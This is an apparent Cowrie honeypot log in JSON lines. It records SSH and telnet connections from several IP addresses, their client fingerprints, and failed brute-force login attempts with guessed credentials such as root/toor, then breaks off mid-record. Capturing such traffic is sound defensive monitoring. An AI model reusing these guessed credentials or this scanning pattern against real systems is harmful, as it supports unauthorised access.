{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:03:28.450575Z","src_ip":"72.17.34.38","session":"dc04bc7ac6c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"carlos1","message":"login attempt [root/carlos1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:03:28.624567Z","src_ip":"72.17.34.38","session":"dc04bc7ac6c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:03:29.663489Z","src_ip":"72.17.34.38","session":"dc04bc7ac6c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":59672,"dst_ip":"159.203.135.109","dst_port":22,"session":"e467efce44fe","protocol":"ssh","message":"New connection: 103.27.238.114:59672 (159.203.135.109:22) [session: e467efce44fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:03:36.813309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:03:36.822023Z","src_ip":"103.27.238.114","session":"e467efce44fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:03:37.091011Z","src_ip":"103.27.238.114","session":"e467efce44fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55066,"dst_ip":"10.17.0.5","dst_port":23,"session":"738fa7355042","protocol":"telnet","message":"New connection: 192.119.13.58:55066 (10.17.0.5:23) [session: 738fa7355042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:03:37.796756Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:03:37.897513Z","src_ip":"103.27.238.114","session":"e467efce44fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:03:39.169394Z","src_ip":"103.27.238.114","session":"e467efce44fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":46448,"dst_ip":"159.203.135.109","dst_port":22,"session":"b97927fa1302","protocol":"ssh","message":"New connection: 147.45.199.80:46448 (159.203.135.109:22) [session: b97927fa1302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:03:48.266991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:03:48.274804Z","src_ip":"147.45.199.80","session":"b97927fa1302","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:03:48.372280Z","src_ip":"147.45.199.80","session":"b97927fa1302","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"natashka","message":"login attempt [root/natashka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:03:48.658848Z","src_ip":"147.45.199.80","session":"b97927fa1302","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:03:49.762515Z","src_ip":"147.45.199.80","session":"b97927fa1302","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.79.29.108","src_port":55812,"dst_ip":"159.203.135.109","dst_port":22,"session":"156e1c3d8b65","protocol":"ssh","message":"New connection: 202.79.29.108:55812 (159.203.135.109:22) [session: 156e1c3d8b65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:03:59.434373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:03:59.439540Z","src_ip":"202.79.29.108","session":"156e1c3d8b65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:03:59.699928Z","src_ip":"202.79.29.108","session":"156e1c3d8b65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"phoenix","password":"phoenix","message":"login attempt [phoenix/phoenix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:04:00.794316Z","src_ip":"202.79.29.108","session":"156e1c3d8b65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:04:02.057127Z","src_ip":"202.79.29.108","session":"156e1c3d8b65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.182.46","src_port":52424,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca7c6b428ea0","protocol":"ssh","message":"New connection: 43.135.182.46:52424 (159.203.135.109:22) [session: ca7c6b428ea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:04:05.825456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:04:05.830848Z","src_ip":"43.135.182.46","session":"ca7c6b428ea0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:04:05.900400Z","src_ip":"43.135.182.46","session":"ca7c6b428ea0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:04:06.207393Z","src_ip":"43.135.182.46","session":"ca7c6b428ea0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:04:07.280127Z","src_ip":"43.135.182.46","session":"ca7c6b428ea0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":55554,"dst_ip":"159.203.135.109","dst_port":22,"session":"cfc9db5b254b","protocol":"ssh","message":"New connection: 103.172.78.219:55554 (159.203.135.109:22) [session: cfc9db5b254b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:04:07.962980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:04:07.968631Z","src_ip":"103.172.78.219","session":"cfc9db5b254b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:04:08.224691Z","src_ip":"103.172.78.219","session":"cfc9db5b254b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nicole","message":"login attempt [root/nicole] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:04:08.993996Z","src_ip":"103.172.78.219","session":"cfc9db5b254b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:04:10.255432Z","src_ip":"103.172.78.219","session":"cfc9db5b254b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":35188,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e944f400e3a","protocol":"ssh","message":"New connection: 51.250.105.222:35188 (159.203.135.109:22) [session: 9e944f400e3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:04:17.862041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:04:17.867032Z","src_ip":"51.250.105.222","session":"9e944f400e3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:04:17.999080Z","src_ip":"51.250.105.222","session":"9e944f400e3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcasd123","message":"login attempt [root/zxcasd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:04:18.396489Z","src_ip":"51.250.105.222","session":"9e944f400e3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:04:19.534366Z","src_ip":"51.250.105.222","session":"9e944f400e3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.874013900756836,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:04:23.670635Z","src_ip":"192.119.13.58","session":"738fa7355042","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":48158,"dst_ip":"10.17.0.5","dst_port":22,"session":"427ece9e8178","protocol":"ssh","message":"New connection: 103.122.221.179:48158 (10.17.0.5:22) [session: 427ece9e8178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:04:38.170362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:04:38.176027Z","src_ip":"103.122.221.179","session":"427ece9e8178","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":50418,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb09ba3fee41","protocol":"ssh","message":"New connection: 147.45.211.215:50418 (159.203.135.109:22) [session: bb09ba3fee41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:04:38.305452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:04:38.309530Z","src_ip":"147.45.211.215","session":"bb09ba3fee41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:04:38.439752Z","src_ip":"103.122.221.179","session":"427ece9e8178","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh 